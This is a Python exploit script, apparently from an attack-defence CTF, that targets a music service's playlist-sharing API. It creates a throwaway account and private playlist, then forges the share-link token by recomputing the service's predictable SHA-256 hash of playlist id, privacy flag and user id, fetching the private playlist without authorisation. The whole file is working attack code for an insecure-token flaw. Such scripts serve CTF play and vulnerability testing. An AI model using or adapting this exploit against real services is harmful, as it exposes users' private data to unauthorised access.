#!/usr/bin/env python
import asyncio
import sys
import aiohttp
import hashlib

from aiohttp import ClientTimeout
from api import FrontendApi, PORT
from random import randint, randrange
from string import ascii_uppercase


class CrackException(Exception):
    pass


def generate_random_text(length=32, min_length=3):
    return "".join(ascii_uppercase[randint(0, len(ascii_uppercase)-1)] for _ in range(randrange(min_length, length)))


def get_hash_playlist(id, private, user_id):
    m = hashlib.sha256()
    m.update(f'playlist:{{{id}}}:{{{"true" if private else "false"}}}:{{{user_id}}}:{{&b}}'.encode('utf-8'))
    return m.hexdigest()


async def crack_hash_playlist(hostname):
    async with FrontendApi(hostname) as api:
        username = generate_random_text(32, 2)
        password = generate_random_text(64, 6)
        status, user = await api.create_user(username, password)
        if status != 200:
            raise CrackException()
        status, user = await api.login_user(username, password)
        if status != 200:
            raise CrackException()
        description = 'cracked'
        status, playlist = await api.create_playlist(username, description, True)
        if status != 200:
            raise CrackException()

    async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar(unsafe=True), timeout=ClientTimeout(total=10),
                                     headers={}) as session:
        h = get_hash_playlist(playlist['ID'], playlist['private'], user['ID'])
        response = await session.get(f'http://{hostname}:{PORT}/frontend-api/share/playlist/{h}/')
    if response.status == 200:
        playlist = await response.json()
        if playlist['description'] == 'cracked':
            print('Crack!!!')
    else:
        raise CrackException()


async def exploits(hostname):
    try:
        await crack_hash_playlist(hostname)
    except CrackException:
        print('Can\'t crack service')
        exit(1)


if __name__ == '__main__':
    args = sys.argv[1:]
    hostname, *_ = args

    loop = asyncio.new_event_loop()
    asyncio.set_event_loop(loop)
    loop.run_until_complete(exploits(hostname))


